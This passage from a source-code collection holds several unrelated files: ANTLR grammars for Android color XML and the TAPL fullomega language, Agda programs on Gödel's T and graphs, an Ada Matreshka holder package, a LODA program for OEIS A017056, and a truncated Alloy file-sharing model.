32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
src/colors/Colors.g4
mnjy/androidxmlparser
0
3943
grammar Colors; @header { package colors; } /* Lexical rules */ /* example: <color name="tab_title">#a5a1a2</color> */ HEX : '#'[A-Za-z0-9][A-Za-z0-9]* ; NAME : [A-Za-z_][A-Za-z_]* ; EQUALS : '=' ; QUOTE : '"' ; OPENBRACKET : '<' ; CLOSEBRACKET : '>' ; SLASH : '/' ; COMMENT : '<!--' .*? [\r\n] -> skip ; NEWLINE : [\r\n]+ ; WS : [ \t]+ -> skip ; /* Parser rules */ root : file EOF ; file : open (NEWLINE line?)* close ; line : OPENBRACKET 'color' 'name' EQUALS QUOTE NAME QUOTE CLOSEBRACKET QUOTE HEX OPENBRACKET SLASH 'color' CLOSEBRACKET ; open : OPENBRACKET 'resources' CLOSEBRACKET ; close : OPENBRACKET SLASH 'resources' CLOSEBRACKET ;
Examples.agda
msullivan/godels-t
4
10609
<reponame>msullivan/godels-t module Examples where open import Prelude open import T ---- some example programs -- boy, de bruijn indexes are unreadable w = weaken-closed one : TNat one = suc zero two = suc one three = suc two t-plus : TCExp (nat ⇒ nat ⇒ nat) t-plus = Λ (Λ (rec (var (S Z)) (var Z) (suc (var Z)))) t-compose : ∀{A B C} → TCExp ((A ⇒ B) ⇒ (C ⇒ A) ⇒ (C ⇒ B)) t-compose = Λ (Λ (Λ (var (S (S Z)) $ ((var (S Z)) $ (var Z))))) t-id : ∀{A} → TCExp (A ⇒ A) t-id = Λ (var Z) t-iterate : ∀{A} → TCExp (nat ⇒ (A ⇒ A) ⇒ (A ⇒ A)) t-iterate = Λ (Λ (rec (var (S Z)) (w t-id) (w t-compose $ var (S Z) $ var Z))) t-ack : TCExp (nat ⇒ nat ⇒ nat) t-ack = Λ (rec (var Z) (Λ (suc (var Z))) (Λ (w t-iterate $ var Z $ var (S Z) $ (var (S Z) $ w one)))) ack-test : TNat ack-test = t-ack $ two $ two plus-test : TNat plus-test = t-plus $ two $ two
source/league/league-holders.adb
svn2github/matreshka
24
12002
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Localization, Internationalization, Globalization for Ada -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2009-2011, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with Ada.Tags.Generic_Dispatching_Constructor; with Ada.Unchecked_Deallocation; with League.Strings.Internals; package body League.Holders is function Create is new Ada.Tags.Generic_Dispatching_Constructor (Abstract_Container, Boolean, Constructor); package Empty_Iterable_Holder_Cursors is type Cursor is new Iterable_Holder_Cursors.Cursor with null record; overriding function Next (Self : in out Cursor) return Boolean; overriding function Element (Self : Cursor) return Holder; end Empty_Iterable_Holder_Cursors; package body Empty_Iterable_Holder_Cursors is ------------- -- Element -- ------------- overriding function Element (Self : Cursor) return Holder is pragma Unreferenced (Self); begin return Empty_Holder; end Element; ---------- -- Next -- ---------- overriding function Next (Self : in out Cursor) return Boolean is pragma Unreferenced (Self); begin return False; end Next; end Empty_Iterable_Holder_Cursors; ------------ -- Adjust -- ------------ overriding procedure Adjust (Self : in out Holder) is begin Reference (Self.Data); end Adjust; ----------- -- Clear -- ----------- not overriding procedure Clear (Self : not null access Abstract_Container) is begin Self.Is_Empty := True; end Clear; ----------- -- Clear -- ----------- overriding procedure Clear (Self : not null access Universal_String_Container) is begin Self.Is_Empty := True; Matreshka.Internals.Strings.Dereference (Self.Value); Self.Value := Matreshka.Internals.Strings.Shared_Empty'Access; end Clear; ----------- -- Clear -- ----------- procedure Clear (Self : in out Holder) is Tag : constant Ada.Tags.Tag := Self.Data'Tag; Is_Empty : aliased Boolean := True; begin if not Self.Data.Is_Empty then if not Matreshka.Atomics.Counters.Is_One (Self.Data.Counter) then -- Internal object is shared, allocate new own. Dereference (Self.Data); Self.Data := new Abstract_Container'Class'(Create (Tag, Is_Empty'Access)); else -- Otherwise just clear it. Self.Data.Clear; end if; end if; end Clear; --------------- -- Component -- --------------- procedure Component (Self : Holder; Name : League.Strings.Universal_String; Value : out Holder; Success : out Boolean) is Result : Container_Access; begin Self.Data.Component (Name, Result, Success); Value.Clear; if Success then Value.Data := Result; end if; end Component; --------------- -- Component -- --------------- not overriding procedure Component (Self : not null access Abstract_Container; Name : League.Strings.Universal_String; Value : out Container_Access; Success : out Boolean) is pragma Unreferenced (Self, Name); begin Value := null; Success := False; end Component; ----------------- -- Constructor -- ----------------- overriding function Constructor (Is_Empty : not null access Boolean) return Date_Container is pragma Assert (Is_Empty.all); begin return (Counter => <>, Is_Empty => Is_Empty.all, Value => <>); end Constructor; ----------------- -- Constructor -- ----------------- overriding function Constructor (Is_Empty : not null access Boolean) return Date_Time_Container is pragma Assert (Is_Empty.all); begin return (Counter => <>, Is_Empty => Is_Empty.all, Value => <>); end Constructor; ----------------- -- Constructor -- ----------------- overriding function Constructor (Is_Empty : not null access Boolean) return Empty_Container is pragma Assert (Is_Empty.all); begin -- This function must never be called. raise Program_Error; return (Counter => <>, Is_Empty => Is_Empty.all); end Constructor; ----------------- -- Constructor -- ----------------- overriding function Constructor (Is_Empty : not null access Boolean) return Time_Container is pragma Assert (Is_Empty.all); begin return (Counter => <>, Is_Empty => Is_Empty.all, Value => <>); end Constructor; ----------------- -- Constructor -- ----------------- overriding function Constructor (Is_Empty : not null access Boolean) return Universal_Float_Container is pragma Assert (Is_Empty.all); begin return (Counter => <>, Is_Empty => Is_Empty.all, Value => <>); end Constructor; ----------------- -- Constructor -- ----------------- overriding function Constructor (Is_Empty : not null access Boolean) return Universal_Integer_Container is pragma Assert (Is_Empty.all); begin return (Counter => <>, Is_Empty => Is_Empty.all, Value => <>); end Constructor; ----------------- -- Constructor -- ----------------- overriding function Constructor (Is_Empty : not null access Boolean) return Universal_String_Container is pragma Assert (Is_Empty.all); begin return (Counter => <>, Is_Empty => Is_Empty.all, Value => Matreshka.Internals.Strings.Shared_Empty'Access); end Constructor; ----------------- -- Dereference -- ----------------- procedure Dereference (Self : in out Container_Access) is procedure Free is new Ada.Unchecked_Deallocation (Abstract_Container'Class, Container_Access); begin if Self /= Shared_Empty'Access and then Matreshka.Atomics.Counters.Decrement (Self.Counter) then Self.Finalize; Free (Self); else Self := null; end if; end Dereference; ------------- -- Element -- ------------- function Element (Self : Holder) return League.Calendars.Date is begin if Self.Data.all not in Date_Container then raise Constraint_Error with "invalid type of value"; end if; if Self.Data.Is_Empty then raise Constraint_Error with "value is empty"; end if; return Date_Container (Self.Data.all).Value; end Element; ------------- -- Element -- ------------- function Element (Self : Holder) return League.Calendars.Date_Time is begin if Self.Data.all not in Date_Time_Container then raise Constraint_Error with "invalid type of value"; end if; if Self.Data.Is_Empty then raise Constraint_Error with "value is empty"; end if; return Date_Time_Container (Self.Data.all).Value; end Element; ------------- -- Element -- ------------- function Element (Self : Holder) return League.Calendars.Time is begin if Self.Data.all not in Time_Container then raise Constraint_Error with "invalid type of value"; end if; if Self.Data.Is_Empty then raise Constraint_Error with "value is empty"; end if; return Time_Container (Self.Data.all).Value; end Element; ------------- -- Element -- ------------- function Element (Self : Holder) return League.Strings.Universal_String is begin if Self.Data.all not in Universal_String_Container then raise Constraint_Error with "invalid type of value"; end if; if Self.Data.Is_Empty then raise Constraint_Error with "value is empty"; end if; return League.Strings.Internals.Create (Universal_String_Container (Self.Data.all).Value); end Element; ------------- -- Element -- ------------- function Element (Self : Holder) return Universal_Float is begin if Self.Data.all not in Abstract_Float_Container'Class then raise Constraint_Error with "invalid type of value"; end if; if Self.Data.Is_Empty then raise Constraint_Error with "value is empty"; end if; return Abstract_Float_Container'Class (Self.Data.all).Get; end Element; ------------- -- Element -- ------------- function Element (Self : Holder) return Universal_Integer is begin if Self.Data.all not in Abstract_Integer_Container'Class then raise Constraint_Error with "invalid type of value"; end if; if Self.Data.Is_Empty then raise Constraint_Error with "value is empty"; end if; return Abstract_Integer_Container'Class (Self.Data.all).Get; end Element; -------------- -- Finalize -- -------------- overriding procedure Finalize (Self : not null access Universal_String_Container) is begin Matreshka.Internals.Strings.Dereference (Self.Value); end Finalize; -------------- -- Finalize -- -------------- overriding procedure Finalize (Self : in out Holder) is begin -- Finalize must be idempotent. if Self.Data /= null then Dereference (Self.Data); end if; end Finalize; ----------- -- First -- ----------- overriding function First (Self : not null access constant Universal_Float_Container) return Universal_Float is pragma Unreferenced (Self); begin return Universal_Float'First; end First; ----------- -- First -- ----------- overriding function First (Self : not null access constant Universal_Integer_Container) return Universal_Integer is pragma Unreferenced (Self); begin return Universal_Integer'First; end First; ----------- -- First -- ----------- function First (Self : Holder) return Universal_Float is begin if Self.Data.all not in Abstract_Float_Container'Class then raise Constraint_Error with "invalid type of value"; end if; return Abstract_Float_Container'Class (Self.Data.all).First; end First; ----------- -- First -- ----------- function First (Self : Holder) return Universal_Integer is begin if Self.Data.all not in Abstract_Integer_Container'Class then raise Constraint_Error with "invalid type of value"; end if; return Abstract_Integer_Container'Class (Self.Data.all).First; end First; ----------- -- First -- ----------- function First (Self : Holder) return Iterable_Holder_Cursors.Cursor'Class is begin return Self.Data.First; end First; ----------- -- First -- ----------- not overriding function First (Self : not null access Abstract_Container) return Iterable_Holder_Cursors.Cursor'Class is pragma Unreferenced (Self); begin return Result : Empty_Iterable_Holder_Cursors.Cursor; end First; --------- -- Get -- --------- overriding function Get (Self : not null access constant Universal_Float_Container) return Universal_Float is begin return Self.Value; end Get; --------- -- Get -- --------- overriding function Get (Self : not null access constant Universal_Integer_Container) return Universal_Integer is begin return Self.Value; end Get; ------------- -- Get_Tag -- ------------- function Get_Tag (Self : Holder) return Tag is begin return Tag (Self.Data'Tag); end Get_Tag; ------------- -- Has_Tag -- ------------- function Has_Tag (Self : Holder; Item : Tag) return Boolean is begin return Tag (Self.Data'Tag) = Item; end Has_Tag; ----------------------- -- Is_Abstract_Float -- ----------------------- function Is_Abstract_Float (Self : Holder) return Boolean is begin return Self.Data.all in Abstract_Float_Container'Class; end Is_Abstract_Float; -------------------------- -- Is_Abstract_Integer -- -------------------------- function Is_Abstract_Integer (Self : Holder) return Boolean is begin return Self.Data.all in Abstract_Integer_Container'Class; end Is_Abstract_Integer; ------------- -- Is_Date -- ------------- function Is_Date (Self : Holder) return Boolean is begin return Self.Data.all in Date_Container; end Is_Date; ------------------ -- Is_Date_Time -- ------------------ function Is_Date_Time (Self : Holder) return Boolean is begin return Self.Data.all in Date_Time_Container; end Is_Date_Time; -------------- -- Is_Empty -- -------------- function Is_Empty (Self : Holder) return Boolean is begin return Self.Data.Is_Empty; end Is_Empty; ------------- -- Is_Time -- ------------- function Is_Time (Self : Holder) return Boolean is begin return Self.Data.all in Time_Container; end Is_Time; ------------------------- -- Is_Universal_String -- ------------------------- function Is_Universal_String (Self : Holder) return Boolean is begin return Self.Data.all in Universal_String_Container; end Is_Universal_String; ---------- -- Last -- ---------- overriding function Last (Self : not null access constant Universal_Float_Container) return Universal_Float is pragma Unreferenced (Self); begin return Universal_Float'Last; end Last; ---------- -- Last -- ---------- overriding function Last (Self : not null access constant Universal_Integer_Container) return Universal_Integer is pragma Unreferenced (Self); begin return Universal_Integer'Last; end Last; ---------- -- Last -- ---------- function Last (Self : Holder) return Universal_Float is begin if Self.Data.all not in Abstract_Float_Container'Class then raise Constraint_Error with "invalid type of value"; end if; return Abstract_Float_Container'Class (Self.Data.all).Last; end Last; ---------- -- Last -- ---------- function Last (Self : Holder) return Universal_Integer is begin if Self.Data.all not in Abstract_Integer_Container'Class then raise Constraint_Error with "invalid type of value"; end if; return Abstract_Integer_Container'Class (Self.Data.all).Last; end Last; --------------- -- Reference -- --------------- procedure Reference (Self : not null Container_Access) is begin if Self /= Shared_Empty'Access then Matreshka.Atomics.Counters.Increment (Self.Counter); end if; end Reference; --------------------- -- Replace_Element -- --------------------- procedure Replace_Element (Self : in out Holder; To : League.Calendars.Date) is begin if Self.Data.all not in Date_Container then raise Constraint_Error with "invalid type of value"; end if; -- Create new shared object when existing one can't be reused. if not Matreshka.Atomics.Counters.Is_One (Self.Data.Counter) then Dereference (Self.Data); Self.Data := new Date_Container'(Counter => <>, Is_Empty => False, Value => To); else Date_Container'Class (Self.Data.all).Is_Empty := False; Date_Container'Class (Self.Data.all).Value := To; end if; end Replace_Element; --------------------- -- Replace_Element -- --------------------- procedure Replace_Element (Self : in out Holder; To : League.Calendars.Date_Time) is begin if Self.Data.all not in Date_Time_Container then raise Constraint_Error with "invalid type of value"; end if; -- Create new shared object when existing one can't be reused. if not Matreshka.Atomics.Counters.Is_One (Self.Data.Counter) then Dereference (Self.Data); Self.Data := new Date_Time_Container' (Counter => <>, Is_Empty => False, Value => To); else Date_Time_Container'Class (Self.Data.all).Is_Empty := False; Date_Time_Container'Class (Self.Data.all).Value := To; end if; end Replace_Element; --------------------- -- Replace_Element -- --------------------- procedure Replace_Element (Self : in out Holder; To : League.Calendars.Time) is begin if Self.Data.all not in Time_Container then raise Constraint_Error with "invalid type of value"; end if; -- Create new shared object when existing one can't be reused. if not Matreshka.Atomics.Counters.Is_One (Self.Data.Counter) then Dereference (Self.Data); Self.Data := new Time_Container'(Counter => <>, Is_Empty => False, Value => To); else Time_Container'Class (Self.Data.all).Is_Empty := False; Time_Container'Class (Self.Data.all).Value := To; end if; end Replace_Element; --------------------- -- Replace_Element -- --------------------- procedure Replace_Element (Self : in out Holder; To : League.Strings.Universal_String) is Aux : constant Matreshka.Internals.Strings.Shared_String_Access := League.Strings.Internals.Internal (To); begin if Self.Data.all not in Universal_String_Container then raise Constraint_Error with "invalid type of value"; end if; Matreshka.Internals.Strings.Reference (Aux); -- Create new shared object when existing one can't be reused. if not Matreshka.Atomics.Counters.Is_One (Self.Data.Counter) then Dereference (Self.Data); Self.Data := new Universal_String_Container' (Counter => <>, Is_Empty => False, Value => Aux); else Matreshka.Internals.Strings.Dereference (Universal_String_Container'Class (Self.Data.all).Value); Universal_String_Container'Class (Self.Data.all).Is_Empty := False; Universal_String_Container'Class (Self.Data.all).Value := Aux; end if; end Replace_Element; --------------------- -- Replace_Element -- --------------------- procedure Replace_Element (Self : in out Holder; To : Universal_Float) is Tag : constant Ada.Tags.Tag := Self.Data'Tag; Is_Empty : aliased Boolean := True; begin if Self.Data.all not in Abstract_Float_Container'Class then raise Constraint_Error with "invalid type of value"; end if; -- Create new shared object when existing one can't be reused. if not Matreshka.Atomics.Counters.Is_One (Self.Data.Counter) then Dereference (Self.Data); Self.Data := new Abstract_Container'Class'(Create (Tag, Is_Empty'Access)); end if; Abstract_Float_Container'Class (Self.Data.all).Set (To); end Replace_Element; --------------------- -- Replace_Element -- --------------------- procedure Replace_Element (Self : in out Holder; To : Universal_Integer) is Tag : constant Ada.Tags.Tag := Self.Data'Tag; Is_Empty : aliased Boolean := True; begin if Self.Data.all not in Abstract_Integer_Container'Class then raise Constraint_Error with "invalid type of value"; end if; -- Create new shared object when existing one can't be reused. if not Matreshka.Atomics.Counters.Is_One (Self.Data.Counter) then Dereference (Self.Data); Self.Data := new Abstract_Container'Class'(Create (Tag, Is_Empty'Access)); end if; -- Set value. Abstract_Integer_Container'Class (Self.Data.all).Set (To); end Replace_Element; --------- -- Set -- --------- overriding procedure Set (Self : not null access Universal_Float_Container; To : Universal_Float) is begin Self.Is_Empty := False; Self.Value := To; end Set; --------- -- Set -- --------- overriding procedure Set (Self : not null access Universal_Integer_Container; To : Universal_Integer) is begin Self.Is_Empty := False; Self.Value := To; end Set; ------------- -- Set_Tag -- ------------- procedure Set_Tag (Self : in out Holder; To : Tag) is use type Ada.Tags.Tag; Is_Empty : aliased Boolean := True; begin if Self.Data'Tag /= Ada.Tags.Tag (To) or else not Matreshka.Atomics.Counters.Is_One (Self.Data.Counter) then -- Tag of the value is changed, or value is shared, dereference -- shared object and allocate new one. Dereference (Self.Data); Self.Data := new Abstract_Container'Class' (Create (Ada.Tags.Tag (To), Is_Empty'Access)); else -- Otherwise just clear value. Self.Data.Clear; end if; end Set_Tag; --------------- -- To_Holder -- --------------- function To_Holder (Item : League.Calendars.Date) return Holder is begin return (Ada.Finalization.Controlled with new Date_Container' (Counter => <>, Is_Empty => False, Value => Item)); end To_Holder; --------------- -- To_Holder -- --------------- function To_Holder (Item : League.Calendars.Date_Time) return Holder is begin return (Ada.Finalization.Controlled with new Date_Time_Container' (Counter => <>, Is_Empty => False, Value => Item)); end To_Holder; --------------- -- To_Holder -- --------------- function To_Holder (Item : League.Calendars.Time) return Holder is begin return (Ada.Finalization.Controlled with new Time_Container' (Counter => <>, Is_Empty => False, Value => Item)); end To_Holder; --------------- -- To_Holder -- --------------- function To_Holder (Item : League.Strings.Universal_String) return Holder is Aux : constant Matreshka.Internals.Strings.Shared_String_Access := League.Strings.Internals.Internal (Item); begin Matreshka.Internals.Strings.Reference (Aux); return (Ada.Finalization.Controlled with new Universal_String_Container' (Counter => <>, Is_Empty => False, Value => Aux)); end To_Holder; end League.Holders;
old/Graph.agda
Lolirofle/stuff-in-agda
6
845
<filename>old/Graph.agda module Graph where import Lvl open import Data.Tuple as Tuple using (_⨯_ ; _,_) open import Functional open import Data.List open import Logic.Propositional{Lvl.𝟎} open import Logic.Predicate{Lvl.𝟎}{Lvl.𝟎} open import Relator.Equals{Lvl.𝟎} open import Data.List.Relation.Membership{Lvl.𝟎} using (_∈_) -- EdgeClass(V)(E) means that E is a type which can represent an edge between vertices of type V. record EdgeClass (V : Set) (Self : Set) : Set where constructor edgeInstance field from : Self → V to : Self → V _withVertices_ : Self → (V ⨯ V) → Self module Edge where open EdgeClass ⦃ ... ⦄ public instance EdgeInstance-Tuple : ∀{V} → EdgeClass(V)(V ⨯ V) Edge.from ⦃ EdgeInstance-Tuple ⦄ (v₁ , v₂) = v₁ Edge.to ⦃ EdgeInstance-Tuple ⦄ (v₁ , v₂) = v₂ Edge._withVertices_ ⦃ EdgeInstance-Tuple ⦄ (v₁ , v₂) (w₁ , w₂) = (w₁ , w₂) record Graph (V : Set) (E : Set) ⦃ _ : EdgeClass(V)(E) ⦄ : Set where constructor graph field edges : List(E) -- Propositions HasEdge[_⟶_] : V → V → Set HasEdge[_⟶_](v₁)(v₂) = ∃(edge ↦ (edge ∈ edges)∧(Edge.from(edge) ≡ v₁)∧(Edge.to(edge) ≡ v₂)) HasEdge[_⟵_] : V → V → Set HasEdge[_⟵_](v₁)(v₂) = HasEdge[_⟶_](v₂)(v₁) HasEdge[_⟷_] : V → V → Set HasEdge[_⟷_](v₁)(v₂) = HasEdge[_⟵_](v₁)(v₂) ∧ HasEdge[_⟶_](v₁)(v₂) data Path : V → V → Set where PathIntro : ∀{v₁ v₂ : V} → HasEdge[ v₁ ⟶ v₂ ] → Path(v₁)(v₂) PathTransitivity : ∀{v₁ v₂ v₃ : V} → Path(v₁)(v₂) → Path(v₂)(v₃) → Path(v₁)(v₃) Connected : V → V → Set Connected(v₁)(v₂) = Path(v₁)(v₂) Disconnected : V → V → Set Disconnected(v₁)(v₂) = ¬(Connected(v₁)(v₂)) -- Constructions mapVertices : ∀{V₂} → ⦃ _ : EdgeClass(V₂)(E) ⦄ → (V → V₂) → Graph(V₂)(E) mapVertices(f) = record{edges = map(edge ↦ (edge Edge.withVertices(f(Edge.from(edge)) , f(Edge.to(edge))))) (edges)} -- Boolean testing -- with-edge -- without-edge -- has-edge -- is-connected -- is-disconnected
programs/oeis/017/A017056.asm
karttu/loda
1
15688
; A017056: a(n) = (7*n + 6)^4. ; 1296,28561,160000,531441,1336336,2825761,5308416,9150625,14776336,22667121,33362176,47458321,65610000,88529281,116985856,151807041,193877776,244140625,303595776,373301041,454371856,547981281,655360000,777796321,916636176,1073283121,1249198336,1445900625,1664966416,1908029761,2176782336,2472973441,2798410000,3154956561,3544535296,3969126001,4430766096,4931550625,5473632256,6059221281,6690585616,7370050801,8100000000,8882874001,9721171216,10617447681,11574317056,12594450625,13680577296,14835483601,16062013696,17363069361,18741610000,20200652641,21743271936,23372600161,25091827216,26904200625,28813025536,30821664721,32933538576,35152125121,37480960000,39923636481,42483805456,45165175441,47971512576,50906640625,53974440976,57178852641,60523872256,64013554081,67652010000,71443409521,75391979776,79502005521,83777829136,88223850625,92844527616,97644375361,102627966736,107799932241,113164960000,118727795761,124493242896,130466162401,136651472896,143054150625,149679229456,156531800881,163617014016,170940075601,178506250000,186320859201,194389282816,202716958081,211309379856,220172100625,229310730496,238730937201,248438446096,258439040161,268738560000,279342903841,290258027536,301489944561,313044726016,324928500625,337147454736,349707832321,362615934976,375878121921,389500810000,403490473681,417853645056,432596913841,447726927376,463250390625,479174066176,495504774241,512249392656,529414856881,547008160000,565036352721,583506543376,602425897921,621801639936,641641050625,661951468816,682740290961,704014971136,725783021041,748052010000,770829564961,794123370496,817941168801,842290759696,867180000625,892616806656,918609150481,945165062416,972292630401,1000000000000,1028295374401,1057187014416,1086683238481,1116792422656,1147523000625,1178883463696,1210882360801,1243528298496,1276829940961,1310796010000,1345435285041,1380756603136,1416768858961,1453481004816,1490902050625,1529041063936,1567907169921,1607509551376,1647857448721,1688960160000,1730827040881,1773467504656,1816891022241,1861107122176,1906125390625,1951955471376,1998607065841,2046089933056,2094413889681,2143588810000,2193624625921,2244531326976,2296318960321,2348997630736,2402577500625,2457068790016,2512481776561,2568826795536,2626114239841,2684354560000,2743558264161,2803735918096,2864898145201,2927055626496,2990219100625,3054399363856,3119607270081,3185853730816,3253149715201,3321506250000,3390934419601,3461445366016,3533050288881,3605760445456,3679587150625,3754541776896,3830635754401,3907880570896,3986287771761,4065868960000,4146635796241,4228599998736,4311773343361,4396167663616,4481794850625,4568666853136,4656795677521,4746193387776,4836872105521,4928844010000,5022121338081,5116716384256,5212641500641,5309909096976,5408531640625,5508521656576,5609891727441,5712654493456,5816822652481,5922408960000,6029426229121,6137887330576,6247805192721,6359192801536,6472063200625,6586429491216,6702304832161,6819702439936,6938635588641,7059117610000,7181161893361,7304781885696,7429991091601,7556803073296,7685231450625,7815289901056,7946992159681,8080352019216,8215383330001,8352100000000,8490515994801,8630645337616,8772502109281,8916100448256,9061454550625,9208578670096,9357487118001 mul $0,7 add $0,6 pow $0,4 mov $1,$0
23_fullomega/fullomega.g4
AkiraHakuta/antlr4_TAPL
0
4406
<reponame>AkiraHakuta/antlr4_TAPL<gh_stars>0 grammar fullomega; toplevel : (command ';')+ ; command : term # c_term | var ':' ty # c_var_ty | var '=' term # c_var_term | u_var # c_u_var | u_var '::' kind # c_u_var_kind | u_var tyabbargs* '=' ty # c_tyabb | '{' u_var ',' var '}' '=' term # c_somebind ; kind : arrowkind ; arrowkind : akind '=>' arrowkind # arrkind_arr | akind # arrkind_akind ; ty : arrowty # ty_arrowty | 'lambda' u_var okind? '.' ty # ty_abs | 'All' u_var okind? '.' ty # ty_all | 'Ref' aty # ty_ref ; aty : '(' ty ')' # aty_paren | u_var # aty_u_var | 'String' # aty_string | 'Unit' # aty_unit | '{' fieldtys? '}' # aty_record | '{' 'Some' u_var okind? ',' ty '}' # aty_some | 'Bool' # aty_bool | 'Nat' # aty_nat | 'Float' # aty_float ; arrowty : appty '->' arrowty # arrty_arr | appty # arrty_appty ; term : appterm # t_appterm | 'lambda' var ':' ty '.' term # t_abs | 'lambda' '_' ':' ty '.' term # t_us_abs | 'lambda' u_var okind? '.' term # t_tabs | appterm ':=' appterm # t_assign | 'let' var '=' term 'in' term # t_let | 'let' '_' '=' term 'in' term # t_us_let | 'letrec' var ':' ty '=' term 'in' term # t_letrec | 'let' '{' u_var ',' var '}' '=' term 'in' term # t_unpack | 'if' term 'then' term 'else' term # t_if ; appterm : pathterm # t_pathterm | appterm pathterm # t_app | appterm '[' ty ']' # t_tapp | 'ref' pathterm # t_ref | '!' pathterm # t_deref | 'fix' pathterm # t_fix | 'timesfloat' pathterm pathterm # t_timesfloat | 'succ' appterm # t_succ | 'pred' appterm # t_pred | 'iszero' appterm # t_iszero ; akind : '*' # akind_star | '(' kind ')' # akind_paren ; okind : '::' kind ; appty : appty aty # appty_app | aty # appty_aty ; ascribeterm : aterm 'as' ty # asct_as | aterm # asct_aterm ; tyabbargs : u_var okind? ; pathterm : pathterm '.' var # p_proj_var | pathterm '.' INT # p_proj_int | ascribeterm # p_ascribeterm ; fieldtys : fieldty (',' fieldty)* ; fieldty : var ':' ty # fty_var_ty | ty # fty_ty ; termseq : term # ts_term | term ';' termseq # ts_term_tseq ; aterm : '(' termseq ')' # t_paren | var # t_var | STRINGV # t_string | 'unit' # t_unit | '{' fields? '}' # t_record | '{' '*' ty ',' term '}' 'as' ty # t_pack | FLOAT # t_float | 'true' # t_true | 'false' # t_false | INT # t_int | 'inert' '[' ty ']' # t_inert ; fields : field (',' field )* ; field : var '=' term # f_var_term | term # f_term ; var : LCID ; u_var : UCID ; INT : [0-9]+ ; FLOAT: [0-9]+ '.' [0-9]*; UCID : [A-Z][a-zA-Z0-9]* ; LCID : [a-z][a-zA-Z0-9]* ; STRINGV : '"' ~["]* '"'; WS : [ \t\n\r]+ -> skip; COMMENT : '/*' .*? '*/' -> skip; SL_COMMENT : '//' .*? '\n' -> skip;
project-2.als
pasadinhas/es-project
9
853
<gh_stars>1-10 open util/ordering[Time] as TO sig Time{} //Defined Sets sig USERS {} enum UTYPES {BASIC, PREMIUM} sig UEMAILS {} sig FILES {} enum MODES {REGULAR, SECURE, READONLY} //R29 //=========================================================== //==================== OUR WONDER THINGS ==================== //=========================================================== sig Name {} sig BobUser extends USERS { //R1 id: one Name, //R2 email: one UEMAILS, //R3 type: UTYPES one->Time, localFiles: BobFile set -> Time, } one sig RegisteredUsers {users: BobUser->Time} sig BobFile { id: one FILES, size: one Int, //R10 R11 owner: one BobUser, //R10 mode: MODES lone -> Time, version: Int lone-> Time, //R10 R12 (no version recorded if removed) access: BobUser set -> Time, //R20 } fact {all f:BobFile| f.size >= 0} one sig ActiveFiles {files: BobFile->Time} //R12 //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //! Behavior control ! //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! pred noChangeInRegisteredUsers (t,t':Time) { RegisteredUsers.users.t' = RegisteredUsers.users.t } pred noChangeInUserTypes (t,t':Time) { all usr: BobUser | usr.type.t' = usr.type.t } pred noChangeInLocalFiles (t,t':Time) { all usr: BobUser | usr.localFiles.t' = usr.localFiles.t } pred noChangeInFiles (t,t': Time) { ActiveFiles.files.t = ActiveFiles.files.t' all file: ActiveFiles.files.t | file.version.t' = file.version.t and file.mode.t' = file.mode.t and file.access.t' = file.access.t all file: BobFile | !(file in ActiveFiles.files.t) => no file.version.t and no file.version.t' //37 } //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //! Initialization ! 